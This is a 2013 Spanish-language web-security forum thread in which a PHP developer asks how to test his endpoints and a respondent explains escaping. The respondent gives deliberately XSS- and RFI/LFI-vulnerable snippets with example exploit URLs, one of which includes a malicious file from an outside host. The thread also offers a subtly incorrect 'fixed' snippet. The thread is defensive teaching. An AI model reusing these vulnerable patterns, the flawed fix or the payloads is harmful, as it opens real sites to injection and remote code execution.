Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: DoHITB en 6 Enero 2013, 20:42 pm



Título: Explotar PHP
Publicado por: DoHITB en 6 Enero 2013, 20:42 pm
Buenas!

Actualmente tengo abiertos varios proyectos con PHP/JS/AJAX, y me gustaría hacerles test de seguridad... pero ando un poco corto en este tipo de conocimientos...

Es decir, por poner un ejemplo:

Yo tengo una web que hace una llamada AJAX a un archivo "archivo.php". A este archivo le paso por GET:

 - accion=**accion**
 - datos=**datos**

Un ejemplo, sería:

archivo.php?accion=li&u=correo@correo.com&p=pass

Entonces, yo en archivo.php reviso los parámetros GET, para que no haya ninguno que no figure en la lista de posibles parámetros, los filtro para que no tengan caracteres extraños, etc...

Pero mi pregunta es: podría hacer algo para que me fallara igualmente?

No se si explico bien la clase de conocimientos que me faltan... espero que me podáis ayudar!

Saludos!


Título: Re: Explotar PHP
Publicado por: jdc en 6 Enero 2013, 20:55 pm
Mira ya que estas "apurado", haz lo siquiente:

Cada vez que declares una variable que recibe un parametro dado por el usuarioenglobala en mysqli real escape string y htmlspecialchars y listo, si tienes tiempo busca en Google para saber como funcionan ambas.

Por ejemplo, tienes:

Código
  1. <?php
  2. $var = $_GET['action'];
  3. $var2 = $_GET['datos'];
  4.  
  5. echo 'La accion es: '.$var.' y los datos ingresados fueron: '.$var2;
  6. ?>

Tendrias que dejarlo asi:

Código
  1. <?php
  2. $var = mysqli_real_escape_string(htmlspecialchars($_GET['action'], ENT_QUOTES));
  3.  
  4. echo 'La accion es: '.$var.' y los datos ingresados fueron: '.$var2;
  5. ?>


Título: Re: Explotar PHP
Publicado por: DoHITB en 6 Enero 2013, 23:49 pm
Buenas,

Gracias por la respuesta;

pero mi problema no reside exactamente ahí; está claro que se deben escapar los datos recibidos por GET y POST... mi duda es la siguiente:

Partiendo de algo así:

Código
  1. if($accion == "li"){
  2.  //accion "li"
  3. }else{
  4.  //error
  5. }
  6.  

Si yo accedo como pagina.php?accion=algo me dará error, pero mi pregunta es:

¿Se puede hacer algo más para explotar esta estructura?

Es decir, supuestamente a esta página accedo desde AJAX, pero si la solicito con VB.net, cURL... puedo enviarle cualquier otra cosa... y ahí es donde quiero probar la seguridad de mi web.

Gracias.


Título: Re: Explotar PHP
Publicado por: jdc en 6 Enero 2013, 23:58 pm
Si la estructura es asi no ya que action no es variable, sino una constante. Al tener en el else un error proteges por defecto tu estructura.


Título: Re: Explotar PHP
Publicado por: DoHITB en 7 Enero 2013, 00:13 am
Ok, gracias.

Pero, por ejemplo, si no escapara caracteres en el get, podría hacer que algo fuera mal si la estructura fuera así:

Código:
if($action == "li"){
//...
mysql_query("select....")//query usando datos de GET
}else{
//error
}

aún estando escapados los datos de GET, sigue siendo seguro?

Por "escapar" los datos GET, me refiero a:

 - Cambiar caracteres peligrosos como comillas, caracteres de comentario...
 - Cambiar caracteres de ciertas palabras por código html


Título: Re: Explotar PHP
Publicado por: jdc en 7 Enero 2013, 01:20 am
Es que por ejemplo 'li' como te dije no es una variable, así que action no es vulnerable a absolutamente nada, ahora si después haces una consulta tipo select * from tabla where campo = $variable, te toca limpiar esa $variable


Título: Re: Explotar PHP
Publicado por: DoHITB en 7 Enero 2013, 20:17 pm
Vale, entonces es como yo pensaba más o menos... aunque creía que si eras un "gurú" del PHP haría falta mucha seguridad para este tipo de bloques...

No obstante, supongo que puedo buscar vulnerabilidades en mis proyectos por otras partes... Me recomendarías algún patrón a buscar o algo similar?

Gracias!


Título: Re: Explotar PHP
Publicado por: jdc en 7 Enero 2013, 20:39 pm
Mira, te doy 2 ejemplos vulnerables para que lo entiendas mejor mejor:

1) Esto seria vulnerable a XSS:

Código
  1. <?php
  2. $action = $_GET['action'];
  3. echo 'Bienvenido a la sección: '.$action;
  4. ?>
  5.  

Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

Código:
tudominio.com/index.php?action=hola<h1>esto es codigo html inyectado</h1>

Y se corrige con:

Código
  1. <?php
  2. $action = htmlspecialchars($_GET['action'], ENT_QUOTES);
  3. echo 'Bienvenido a la sección: '.$action;
  4. ?>
  5.  

2)Esto seria vulnerable a RFI y LFI:

Código
  1. <?php
  2. $section = $_GET['section'];
  3. include($section);
  4. ?>
  5.  

Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

Código:
tudominio.com/index.php?action=http://otrodominio.com/archivomalo.php

Ojo que la solución para esto puede ser tan simple como poner en la variable una extension y un directorio tipo include ('includes/'.$section.'.php') tambien debes tener cuidado en los caracteres que permites en la variable, por ejemplo a veces pueden saltarse la extension con un byte nulo por ejemplo asi que cuidado.